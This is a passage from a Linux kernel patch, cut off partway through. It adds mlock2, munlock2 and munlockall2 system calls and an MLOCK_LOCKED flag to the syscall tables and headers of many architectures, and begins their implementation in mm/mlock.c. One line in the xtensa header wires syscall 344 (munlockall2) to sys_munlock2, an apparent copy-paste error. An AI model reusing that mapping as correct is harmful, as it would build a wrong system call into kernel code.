 #define __NR_memfd_create		(__NR_SYSCALL_BASE+385)
 #define __NR_bpf			(__NR_SYSCALL_BASE+386)
 #define __NR_execveat			(__NR_SYSCALL_BASE+387)
+#define __NR_mlock2			(__NR_SYSCALL_BASE+388)
+#define __NR_munlock2			(__NR_SYSCALL_BASE+389)
+#define __NR_munlockall2		(__NR_SYSCALL_BASE+390)
 
 /*
  * The following SWIs are ARM private.
diff --git a/arch/arm/kernel/calls.S b/arch/arm/kernel/calls.S
index 05745eb..8880822 100644
--- a/arch/arm/kernel/calls.S
+++ b/arch/arm/kernel/calls.S
@@ -397,6 +397,9 @@
 /* 385 */	CALL(sys_memfd_create)
 		CALL(sys_bpf)
 		CALL(sys_execveat)
+		CALL(sys_mlock2)
+		CALL(sys_munlock2)
+/* 390 */	CALL(sys_munlockall2)
 #ifndef syscalls_counted
 .equ syscalls_padding, ((NR_syscalls + 3) & ~3) - NR_syscalls
 #define syscalls_counted
diff --git a/arch/arm64/include/asm/unistd32.h b/arch/arm64/include/asm/unistd32.h
index cef934a..318072aa 100644
--- a/arch/arm64/include/asm/unistd32.h
+++ b/arch/arm64/include/asm/unistd32.h
@@ -797,3 +797,9 @@ __SYSCALL(__NR_memfd_create, sys_memfd_create)
 __SYSCALL(__NR_bpf, sys_bpf)
 #define __NR_execveat 387
 __SYSCALL(__NR_execveat, compat_sys_execveat)
+#define __NR_mlock2 388
+__SYSCALL(__NR_mlock2, sys_mlock2)
+#define __NR_munlock2 389
+__SYSCALL(__NR_munlock2, sys_munlock2)
+#define __NR_munlockall2 390
+__SYSCALL(__NR_munlockall2, sys_munlockall2)
diff --git a/arch/avr32/include/uapi/asm/unistd.h b/arch/avr32/include/uapi/asm/unistd.h
index bbe2fba..e6a1681 100644
--- a/arch/avr32/include/uapi/asm/unistd.h
+++ b/arch/avr32/include/uapi/asm/unistd.h
@@ -333,5 +333,8 @@
 #define __NR_memfd_create	318
 #define __NR_bpf		319
 #define __NR_execveat		320
+#define __NR_mlock2		321
+#define __NR_munlock2		322
+#define __NR_munlockall2	323
 
 #endif /* _UAPI__ASM_AVR32_UNISTD_H */
diff --git a/arch/avr32/kernel/syscall_table.S b/arch/avr32/kernel/syscall_table.S
index c3b593b..83928ab 100644
--- a/arch/avr32/kernel/syscall_table.S
+++ b/arch/avr32/kernel/syscall_table.S
@@ -334,4 +334,7 @@ sys_call_table:
 	.long	sys_memfd_create
 	.long	sys_bpf
 	.long	sys_execveat		/* 320 */
+	.long   sys_mlock2
+	.long   sys_munlock2
+	.long   sys_munlockall2
 	.long	sys_ni_syscall		/* r8 is saturated at nr_syscalls */
diff --git a/arch/blackfin/include/uapi/asm/unistd.h b/arch/blackfin/include/uapi/asm/unistd.h
index 0cb9078..37c0362 100644
--- a/arch/blackfin/include/uapi/asm/unistd.h
+++ b/arch/blackfin/include/uapi/asm/unistd.h
@@ -433,6 +433,9 @@
 #define __IGNORE_munlock
 #define __IGNORE_mlockall
 #define __IGNORE_munlockall
+#define __IGNORE_mlock2
+#define __IGNORE_munlock2
+#define __IGNORE_munlockall2
 #define __IGNORE_mincore
 #define __IGNORE_madvise
 #define __IGNORE_remap_file_pages
diff --git a/arch/blackfin/mach-common/entry.S b/arch/blackfin/mach-common/entry.S
index 8d9431e..5d83587 100644
--- a/arch/blackfin/mach-common/entry.S
+++ b/arch/blackfin/mach-common/entry.S
@@ -1704,6 +1704,9 @@ ENTRY(_sys_call_table)
 	.long _sys_memfd_create		/* 390 */
 	.long _sys_bpf
 	.long _sys_execveat
+	.long _sys_mlock2
+	.long _sys_munlock2
+	.long _sys_munlockall2		/* 395 */
 
 	.rept NR_syscalls-(.-_sys_call_table)/4
 	.long _sys_ni_syscall
diff --git a/arch/cris/arch-v10/kernel/entry.S b/arch/cris/arch-v10/kernel/entry.S
index 81570fc..d0ce531 100644
--- a/arch/cris/arch-v10/kernel/entry.S
+++ b/arch/cris/arch-v10/kernel/entry.S
@@ -955,6 +955,9 @@ sys_call_table:
 	.long sys_process_vm_writev
 	.long sys_kcmp			/* 350 */
 	.long sys_finit_module
+	.long sys_mlock2
+	.long sys_munlock2
+	.long sys_munlockall2
 
         /*
          * NOTE!! This doesn't have to be exact - we just have
diff --git a/arch/cris/arch-v32/kernel/entry.S b/arch/cris/arch-v32/kernel/entry.S
index 026a0b2..7f50a0b 100644
--- a/arch/cris/arch-v32/kernel/entry.S
+++ b/arch/cris/arch-v32/kernel/entry.S
@@ -875,6 +875,9 @@ sys_call_table:
 	.long sys_process_vm_writev
 	.long sys_kcmp			/* 350 */
 	.long sys_finit_module
+	.long sys_mlock2
+	.long sys_munlock2
+	.long sys_munlockall2
 
 	/*
 	 * NOTE!! This doesn't have to be exact - we just have
diff --git a/arch/frv/kernel/entry.S b/arch/frv/kernel/entry.S
index dfcd263..ee605a0 100644
--- a/arch/frv/kernel/entry.S
+++ b/arch/frv/kernel/entry.S
@@ -1515,5 +1515,8 @@ sys_call_table:
 	.long sys_rt_tgsigqueueinfo	/* 335 */
 	.long sys_perf_event_open
 	.long sys_setns
+	.long sys_mlock2
+	.long sys_munlock2
+	.long sys_munlockall2		/* 340 */
 
 syscall_table_size = (. - sys_call_table)
diff --git a/arch/ia64/include/asm/unistd.h b/arch/ia64/include/asm/unistd.h
index 95c39b9..db73390 100644
--- a/arch/ia64/include/asm/unistd.h
+++ b/arch/ia64/include/asm/unistd.h
@@ -11,7 +11,7 @@
 
 
 
-#define NR_syscalls			319 /* length of syscall table */
+#define NR_syscalls			322 /* length of syscall table */
 
 /*
  * The following defines stop scripts/checksyscalls.sh from complaining about
diff --git a/arch/ia64/include/uapi/asm/unistd.h b/arch/ia64/include/uapi/asm/unistd.h
index 4610795..5f485cc 100644
--- a/arch/ia64/include/uapi/asm/unistd.h
+++ b/arch/ia64/include/uapi/asm/unistd.h
@@ -332,5 +332,8 @@
 #define __NR_memfd_create		1340
 #define __NR_bpf			1341
 #define __NR_execveat			1342
+#define __NR_mlock2			1343
+#define __NR_munlock2			1344
+#define __NR_munlockall2		1345
 
 #endif /* _UAPI_ASM_IA64_UNISTD_H */
diff --git a/arch/ia64/kernel/entry.S b/arch/ia64/kernel/entry.S
index ae0de7b..3ef4457 100644
--- a/arch/ia64/kernel/entry.S
+++ b/arch/ia64/kernel/entry.S
@@ -1768,5 +1768,8 @@ sys_call_table:
 	data8 sys_memfd_create			// 1340
 	data8 sys_bpf
 	data8 sys_execveat
+	data8 sys_mlock2
+	data8 sys_munlock2
+	data8 sys_munlockall2			// 1345
 
 	.org sys_call_table + 8*NR_syscalls	// guard against failures to increase NR_syscalls
diff --git a/arch/m32r/kernel/entry.S b/arch/m32r/kernel/entry.S
index c639bfa..4f7f2e2 100644
--- a/arch/m32r/kernel/entry.S
+++ b/arch/m32r/kernel/entry.S
@@ -76,6 +76,9 @@
 #define sys_munlock		sys_ni_syscall
 #define sys_mlockall		sys_ni_syscall
 #define sys_munlockall		sys_ni_syscall
+#define sys_mlock2		sys_ni_syscall
+#define sys_munlock2		sys_ni_syscall
+#define sys_munlockall2		sys_ni_syscall
 #define sys_mremap		sys_ni_syscall
 #define sys_mincore		sys_ni_syscall
 #define sys_remap_file_pages	sys_ni_syscall
diff --git a/arch/m32r/kernel/syscall_table.S b/arch/m32r/kernel/syscall_table.S
index f365c19..9918c3e 100644
--- a/arch/m32r/kernel/syscall_table.S
+++ b/arch/m32r/kernel/syscall_table.S
@@ -325,3 +325,6 @@ ENTRY(sys_call_table)
 	.long sys_eventfd
 	.long sys_fallocate
 	.long sys_setns			/* 325 */
+	.long sys_mlock2
+	.long sys_munlock2
+	.long sys_munlockall2
diff --git a/arch/m68k/include/asm/unistd.h b/arch/m68k/include/asm/unistd.h
index 244e0db..b18f3da 100644
--- a/arch/m68k/include/asm/unistd.h
+++ b/arch/m68k/include/asm/unistd.h
@@ -4,7 +4,7 @@
 #include <uapi/asm/unistd.h>
 
 
-#define NR_syscalls		356
+#define NR_syscalls		359
 
 #define __ARCH_WANT_OLD_READDIR
 #define __ARCH_WANT_OLD_STAT
diff --git a/arch/m68k/include/uapi/asm/unistd.h b/arch/m68k/include/uapi/asm/unistd.h
index 61fb6cb..1405c3f 100644
--- a/arch/m68k/include/uapi/asm/unistd.h
+++ b/arch/m68k/include/uapi/asm/unistd.h
@@ -361,5 +361,8 @@
 #define __NR_memfd_create	353
 #define __NR_bpf		354
 #define __NR_execveat		355
+#define __NR_mlock2		356
+#define __NR_munlock2		357
+#define __NR_munlockall2	358
 
 #endif /* _UAPI_ASM_M68K_UNISTD_H_ */
diff --git a/arch/m68k/kernel/syscalltable.S b/arch/m68k/kernel/syscalltable.S
index a0ec430..7963c03 100644
--- a/arch/m68k/kernel/syscalltable.S
+++ b/arch/m68k/kernel/syscalltable.S
@@ -376,4 +376,7 @@ ENTRY(sys_call_table)
 	.long sys_memfd_create
 	.long sys_bpf
 	.long sys_execveat		/* 355 */
+	.long sys_mlock2
+	.long sys_munlock2
+	.long sys_munlockall2
 
diff --git a/arch/microblaze/include/uapi/asm/unistd.h b/arch/microblaze/include/uapi/asm/unistd.h
index 32850c7..59b06b0 100644
--- a/arch/microblaze/include/uapi/asm/unistd.h
+++ b/arch/microblaze/include/uapi/asm/unistd.h
@@ -404,5 +404,8 @@
 #define __NR_memfd_create	386
 #define __NR_bpf		387
 #define __NR_execveat		388
+#define __NR_mlock2		389 /* ok - nommu or mmu */
+#define __NR_munlock2		390 /* ok - nommu or mmu */
+#define __NR_munlockall2	391 /* ok - nommu or mmu */
 
 #endif /* _UAPI_ASM_MICROBLAZE_UNISTD_H */
diff --git a/arch/microblaze/kernel/syscall_table.S b/arch/microblaze/kernel/syscall_table.S
index 29c8568..6e4b0fe 100644
--- a/arch/microblaze/kernel/syscall_table.S
+++ b/arch/microblaze/kernel/syscall_table.S
@@ -389,3 +389,6 @@ ENTRY(sys_call_table)
 	.long sys_memfd_create
 	.long sys_bpf
 	.long sys_execveat
+	.long sys_mlock2
+	.long sys_munlock2		/* 390 */
+	.long sys_munlockall2
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..67c1cdf 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -62,6 +62,11 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
 #define MADV_SEQUENTIAL 2		/* expect sequential page references */
diff --git a/arch/mips/include/uapi/asm/unistd.h b/arch/mips/include/uapi/asm/unistd.h
index c03088f..101b884 100644
--- a/arch/mips/include/uapi/asm/unistd.h
+++ b/arch/mips/include/uapi/asm/unistd.h
@@ -377,16 +377,19 @@
 #define __NR_memfd_create		(__NR_Linux + 354)
 #define __NR_bpf			(__NR_Linux + 355)
 #define __NR_execveat			(__NR_Linux + 356)
+#define __NR_mlock2			(__NR_Linux + 357)
+#define __NR_munlock2			(__NR_Linux + 358)
+#define __NR_munlockall2		(__NR_Linux + 359)
 
 /*
  * Offset of the last Linux o32 flavoured syscall
  */
-#define __NR_Linux_syscalls		356
+#define __NR_Linux_syscalls		359
 
 #endif /* _MIPS_SIM == _MIPS_SIM_ABI32 */
 
 #define __NR_O32_Linux			4000
-#define __NR_O32_Linux_syscalls		356
+#define __NR_O32_Linux_syscalls		359
 
 #if _MIPS_SIM == _MIPS_SIM_ABI64
 
@@ -711,16 +714,19 @@
 #define __NR_memfd_create		(__NR_Linux + 314)
 #define __NR_bpf			(__NR_Linux + 315)
 #define __NR_execveat			(__NR_Linux + 316)
+#define __NR_mlock2			(__NR_Linux + 317)
+#define __NR_munlock2			(__NR_Linux + 318)
+#define __NR_munlockall2		(__NR_Linux + 319)
 
 /*
  * Offset of the last Linux 64-bit flavoured syscall
  */
-#define __NR_Linux_syscalls		316
+#define __NR_Linux_syscalls		319
 
 #endif /* _MIPS_SIM == _MIPS_SIM_ABI64 */
 
 #define __NR_64_Linux			5000
-#define __NR_64_Linux_syscalls		316
+#define __NR_64_Linux_syscalls		319
 
 #if _MIPS_SIM == _MIPS_SIM_NABI32
 
@@ -1049,15 +1055,18 @@
 #define __NR_memfd_create		(__NR_Linux + 318)
 #define __NR_bpf			(__NR_Linux + 319)
 #define __NR_execveat			(__NR_Linux + 320)
+#define __NR_mlock2			(__NR_Linux + 321)
+#define __NR_munlock2			(__NR_Linux + 322)
+#define __NR_munlockall2		(__NR_Linux + 323)
 
 /*
  * Offset of the last N32 flavoured syscall
  */
-#define __NR_Linux_syscalls		320
+#define __NR_Linux_syscalls		323
 
 #endif /* _MIPS_SIM == _MIPS_SIM_NABI32 */
 
 #define __NR_N32_Linux			6000
-#define __NR_N32_Linux_syscalls		320
+#define __NR_N32_Linux_syscalls		323
 
 #endif /* _UAPI_ASM_UNISTD_H */
diff --git a/arch/mips/kernel/scall32-o32.S b/arch/mips/kernel/scall32-o32.S
index 4cc1350..c409d53 100644
--- a/arch/mips/kernel/scall32-o32.S
+++ b/arch/mips/kernel/scall32-o32.S
@@ -599,3 +599,6 @@ EXPORT(sys_call_table)
 	PTR	sys_memfd_create
 	PTR	sys_bpf				/* 4355 */
 	PTR	sys_execveat
+	PTR	sys_mlock2
+	PTR	sys_munlock2
+	PTR	sys_munlockall2
diff --git a/arch/mips/kernel/scall64-64.S b/arch/mips/kernel/scall64-64.S
index ad4d4463..0aa2742 100644
--- a/arch/mips/kernel/scall64-64.S
+++ b/arch/mips/kernel/scall64-64.S
@@ -436,4 +436,7 @@ EXPORT(sys_call_table)
 	PTR	sys_memfd_create
 	PTR	sys_bpf				/* 5315 */
 	PTR	sys_execveat
+	PTR	sys_mlock2
+	PTR	sys_munlock2
+	PTR	sys_munlockall2
 	.size	sys_call_table,.-sys_call_table
diff --git a/arch/mips/kernel/scall64-n32.S b/arch/mips/kernel/scall64-n32.S
index 446cc65..eb21955 100644
--- a/arch/mips/kernel/scall64-n32.S
+++ b/arch/mips/kernel/scall64-n32.S
@@ -429,4 +429,7 @@ EXPORT(sysn32_call_table)
 	PTR	sys_memfd_create
 	PTR	sys_bpf
 	PTR	compat_sys_execveat		/* 6320 */
+	PTR	sys_mlock2
+	PTR	sys_munlock2
+	PTR	sys_munlockall2
 	.size	sysn32_call_table,.-sysn32_call_table
diff --git a/arch/mips/kernel/scall64-o32.S b/arch/mips/kernel/scall64-o32.S
index f543ff4..f45049c 100644
--- a/arch/mips/kernel/scall64-o32.S
+++ b/arch/mips/kernel/scall64-o32.S
@@ -584,4 +584,7 @@ EXPORT(sys32_call_table)
 	PTR	sys_memfd_create
 	PTR	sys_bpf				/* 4355 */
 	PTR	compat_sys_execveat
+	PTR	sys_mlock2
+	PTR	sys_munlock2
+	PTR	sys_munlockall2
 	.size	sys32_call_table,.-sys32_call_table
diff --git a/arch/mn10300/kernel/entry.S b/arch/mn10300/kernel/entry.S
index 177d61d..d34adf5 100644
--- a/arch/mn10300/kernel/entry.S
+++ b/arch/mn10300/kernel/entry.S
@@ -767,6 +767,9 @@ ENTRY(sys_call_table)
 	.long sys_perf_event_open
 	.long sys_recvmmsg
 	.long sys_setns
+	.long sys_mlock2		/* 340 */
+	.long sys_munlock2
+	.long sys_munlockall2
 
 
 nr_syscalls=(.-sys_call_table)/4
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..daab994 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -32,6 +32,8 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
 #define MADV_SEQUENTIAL 2               /* expect sequential page references */
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 2e639d7..455c8a3 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -358,8 +358,11 @@
 #define __NR_memfd_create	(__NR_Linux + 340)
 #define __NR_bpf		(__NR_Linux + 341)
 #define __NR_execveat		(__NR_Linux + 342)
+#define __NR_mlock2		(__NR_Linux + 343)
+#define __NR_munlock2		(__NR_Linux + 344)
+#define __NR_munlockall2	(__NR_Linux + 345)
 
-#define __NR_Linux_syscalls	(__NR_execveat + 1)
+#define __NR_Linux_syscalls	(__NR_munlockall2 + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 6ea26df..189e85f 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -23,6 +23,8 @@
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
diff --git a/arch/powerpc/include/uapi/asm/unistd.h b/arch/powerpc/include/uapi/asm/unistd.h
index e4aa173..c9901e7 100644
--- a/arch/powerpc/include/uapi/asm/unistd.h
+++ b/arch/powerpc/include/uapi/asm/unistd.h
@@ -386,5 +386,8 @@
 #define __NR_bpf		361
 #define __NR_execveat		362
 #define __NR_switch_endian	363
+#define __NR_mlock2		364
+#define __NR_munlock2		365
+#define __NR_munlockall2	366
 
 #endif /* _UAPI_ASM_POWERPC_UNISTD_H_ */
diff --git a/arch/s390/include/uapi/asm/unistd.h b/arch/s390/include/uapi/asm/unistd.h
index 67878af..d1c5b1f 100644
--- a/arch/s390/include/uapi/asm/unistd.h
+++ b/arch/s390/include/uapi/asm/unistd.h
@@ -290,7 +290,10 @@
 #define __NR_s390_pci_mmio_write	352
 #define __NR_s390_pci_mmio_read		353
 #define __NR_execveat		354
-#define NR_syscalls 355
+#define __NR_mlock2		355
+#define __NR_munlock2		356
+#define __NR_munlockall2	357
+#define NR_syscalls 358
 
 /* 
  * There are some system calls that are not present on 64 bit, some
diff --git a/arch/s390/kernel/compat_wrapper.c b/arch/s390/kernel/compat_wrapper.c
index f8498dd..58339e2 100644
--- a/arch/s390/kernel/compat_wrapper.c
+++ b/arch/s390/kernel/compat_wrapper.c
@@ -220,3 +220,6 @@ COMPAT_SYSCALL_WRAP2(memfd_create, const char __user *, uname, unsigned int, fla
 COMPAT_SYSCALL_WRAP3(bpf, int, cmd, union bpf_attr *, attr, unsigned int, size);
 COMPAT_SYSCALL_WRAP3(s390_pci_mmio_write, const unsigned long, mmio_addr, const void __user *, user_buffer, const size_t, length);
 COMPAT_SYSCALL_WRAP3(s390_pci_mmio_read, const unsigned long, mmio_addr, void __user *, user_buffer, const size_t, length);
+COMPAT_SYSCALL_WRAP3(mlock2, unsigned long, start, size_t, len, int, flags);
+COMPAT_SYSCALL_WRAP3(munlock2, unsigned long, start, size_t, len, int, flags);
+COMPAT_SYSCALL_WRAP1(munlockall2, int, flags);
diff --git a/arch/s390/kernel/syscalls.S b/arch/s390/kernel/syscalls.S
index 1acad02..f6d81d6 100644
--- a/arch/s390/kernel/syscalls.S
+++ b/arch/s390/kernel/syscalls.S
@@ -363,3 +363,6 @@ SYSCALL(sys_bpf,compat_sys_bpf)
 SYSCALL(sys_s390_pci_mmio_write,compat_sys_s390_pci_mmio_write)
 SYSCALL(sys_s390_pci_mmio_read,compat_sys_s390_pci_mmio_read)
 SYSCALL(sys_execveat,compat_sys_execveat)
+SYSCALL(sys_mlock2,compat_sys_mlock2)			/* 355 */
+SYSCALL(sys_munlock2,compat_sys_munlock2)
+SYSCALL(sys_munlockall2,compat_sys_munlockall2)
diff --git a/arch/sh/kernel/syscalls_32.S b/arch/sh/kernel/syscalls_32.S
index 734234b..6d07867 100644
--- a/arch/sh/kernel/syscalls_32.S
+++ b/arch/sh/kernel/syscalls_32.S
@@ -386,3 +386,6 @@ ENTRY(sys_call_table)
 	.long sys_process_vm_writev
 	.long sys_kcmp
 	.long sys_finit_module
+	.long sys_mlock2
+	.long sys_munlock2		/* 370 */
+	.long sys_munlockall2
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 0b14df3..13d51be 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -18,6 +18,8 @@
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
diff --git a/arch/sparc/include/uapi/asm/unistd.h b/arch/sparc/include/uapi/asm/unistd.h
index 6f35f4d..c25bbb1 100644
--- a/arch/sparc/include/uapi/asm/unistd.h
+++ b/arch/sparc/include/uapi/asm/unistd.h
@@ -416,8 +416,11 @@
 #define __NR_memfd_create	348
 #define __NR_bpf		349
 #define __NR_execveat		350
+#define __NR_mlock2		351
+#define __NR_munlock2		352
+#define __NR_munlockall2	353
 
-#define NR_syscalls		351
+#define NR_syscalls		354
 
 /* Bitmask values returned from kern_features system call.  */
 #define KERN_FEATURE_MIXED_MODE_STACK	0x00000001
diff --git a/arch/sparc/kernel/systbls_32.S b/arch/sparc/kernel/systbls_32.S
index e31a905..72b68d4 100644
--- a/arch/sparc/kernel/systbls_32.S
+++ b/arch/sparc/kernel/systbls_32.S
@@ -87,4 +87,4 @@ sys_call_table:
 /*335*/	.long sys_syncfs, sys_sendmmsg, sys_setns, sys_process_vm_readv, sys_process_vm_writev
 /*340*/	.long sys_ni_syscall, sys_kcmp, sys_finit_module, sys_sched_setattr, sys_sched_getattr
 /*345*/	.long sys_renameat2, sys_seccomp, sys_getrandom, sys_memfd_create, sys_bpf
-/*350*/	.long sys_execveat
+/*350*/	.long sys_execveat, sys_mlock2, sys_munlock2, sys_munlockall2
diff --git a/arch/sparc/kernel/systbls_64.S b/arch/sparc/kernel/systbls_64.S
index d72f76a..a96bfea 100644
--- a/arch/sparc/kernel/systbls_64.S
+++ b/arch/sparc/kernel/systbls_64.S
@@ -88,7 +88,7 @@ sys_call_table32:
 	.word sys_syncfs, compat_sys_sendmmsg, sys_setns, compat_sys_process_vm_readv, compat_sys_process_vm_writev
 /*340*/	.word sys_kern_features, sys_kcmp, sys_finit_module, sys_sched_setattr, sys_sched_getattr
 	.word sys32_renameat2, sys_seccomp, sys_getrandom, sys_memfd_create, sys_bpf
-/*350*/	.word sys32_execveat
+/*350*/	.word sys32_execveat, sys_mlock2, sys_munlock2, sys_munlockall2
 
 #endif /* CONFIG_COMPAT */
 
@@ -168,4 +168,4 @@ sys_call_table:
 	.word sys_syncfs, sys_sendmmsg, sys_setns, sys_process_vm_readv, sys_process_vm_writev
 /*340*/	.word sys_kern_features, sys_kcmp, sys_finit_module, sys_sched_setattr, sys_sched_getattr
 	.word sys_renameat2, sys_seccomp, sys_getrandom, sys_memfd_create, sys_bpf
-/*350*/	.word sys64_execveat
+/*350*/	.word sys64_execveat, sys_mlock2, sys_munlock2, sys_munlockall2
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index 81b8fc3..f69ce48 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -37,5 +37,10 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/x86/entry/syscalls/syscall_32.tbl b/arch/x86/entry/syscalls/syscall_32.tbl
index ef8187f..13ce950 100644
--- a/arch/x86/entry/syscalls/syscall_32.tbl
+++ b/arch/x86/entry/syscalls/syscall_32.tbl
@@ -365,3 +365,6 @@
 356	i386	memfd_create		sys_memfd_create
 357	i386	bpf			sys_bpf
 358	i386	execveat		sys_execveat			stub32_execveat
+359	i386	mlock2			sys_mlock2
+360	i386	munlock2		sys_munlock2
+361	i386	munlockall2		sys_munlockall2
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index 9ef32d5..13b3cb1 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -329,6 +329,9 @@
 320	common	kexec_file_load		sys_kexec_file_load
 321	common	bpf			sys_bpf
 322	64	execveat		stub_execveat
+323	common	mlock2			sys_mlock2
+324	common	munlock2		sys_munlock2
+325	common	munlockall2		sys_munlockall2
 
 #
 # x32-specific system call numbers start at 512 to avoid cache impact
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..11f354f 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -75,6 +75,11 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
 #define MADV_SEQUENTIAL	2		/* expect sequential page references */
diff --git a/arch/xtensa/include/uapi/asm/unistd.h b/arch/xtensa/include/uapi/asm/unistd.h
index b95c305..fbd0876 100644
--- a/arch/xtensa/include/uapi/asm/unistd.h
+++ b/arch/xtensa/include/uapi/asm/unistd.h
@@ -753,8 +753,14 @@ __SYSCALL(339, sys_memfd_create, 2)
 __SYSCALL(340, sys_bpf, 3)
 #define __NR_execveat				341
 __SYSCALL(341, sys_execveat, 5)
-
-#define __NR_syscall_count			342
+#define __NR_mlock2				342
+__SYSCALL(342, sys_mlock2, 3)
+#define __NR_munlock2				343
+__SYSCALL(343, sys_munlock2, 3)
+#define __NR_munlockall2			344
+__SYSCALL(344, sys_munlock2, 1)
+
+#define __NR_syscall_count			345
 
 /*
  * sysxtensa syscall handler
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index b45c45b..aecab5d 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -884,4 +884,8 @@ asmlinkage long sys_execveat(int dfd, const char __user *filename,
 			const char __user *const __user *argv,
 			const char __user *const __user *envp, int flags);
 
+asmlinkage long sys_mlock2(unsigned long start, size_t len, int flags);
+asmlinkage long sys_munlock2(unsigned long start, size_t len, int flags);
+asmlinkage long sys_munlockall2(int flags);
+
 #endif
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index e9fe6fd..242436b 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -18,4 +18,6 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
index e016bd9..e759fa2 100644
--- a/include/uapi/asm-generic/unistd.h
+++ b/include/uapi/asm-generic/unistd.h
@@ -709,9 +709,15 @@ __SYSCALL(__NR_memfd_create, sys_memfd_create)
 __SYSCALL(__NR_bpf, sys_bpf)
 #define __NR_execveat 281
 __SC_COMP(__NR_execveat, sys_execveat, compat_sys_execveat)
+#define __NR_mlock2 282
+__SYSCALL(__NR_mlock2, sys_mlock2)
+#define __NR_munlock2 283
+__SYSCALL(__NR_munlock2, sys_munlock2)
+#define __NR_munlockall2 284
+__SYSCALL(__NR_munlockall2, sys_munlockall2)
 
 #undef __NR_syscalls
-#define __NR_syscalls 282
+#define __NR_syscalls 285
 
 /*
  * All syscalls below here should go away really,
diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
index 7995ef5..63529b7 100644
--- a/kernel/sys_ni.c
+++ b/kernel/sys_ni.c
@@ -193,6 +193,9 @@ cond_syscall(sys_mlock);
 cond_syscall(sys_munlock);
 cond_syscall(sys_mlockall);
 cond_syscall(sys_munlockall);
+cond_syscall(sys_mlock2);
+cond_syscall(sys_munlock2);
+cond_syscall(sys_munlockall2);
 cond_syscall(sys_mincore);
 cond_syscall(sys_madvise);
 cond_syscall(sys_mremap);
diff --git a/mm/mlock.c b/mm/mlock.c
index 8e52c23..d6e61d6 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -648,6 +648,14 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 	return do_mlock(start, len, VM_LOCKED);
 }
 
+SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
+{
+	if (!flags || flags & ~MLOCK_LOCKED)
+		return -EINVAL;
+
+	return do_mlock(start, len, VM_LOCKED);
+}
+
 static int do_munlock(unsigned long start, size_t len, vm_flags_t flags)
 {
 	int ret;
@@ -667,6 +675,13 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
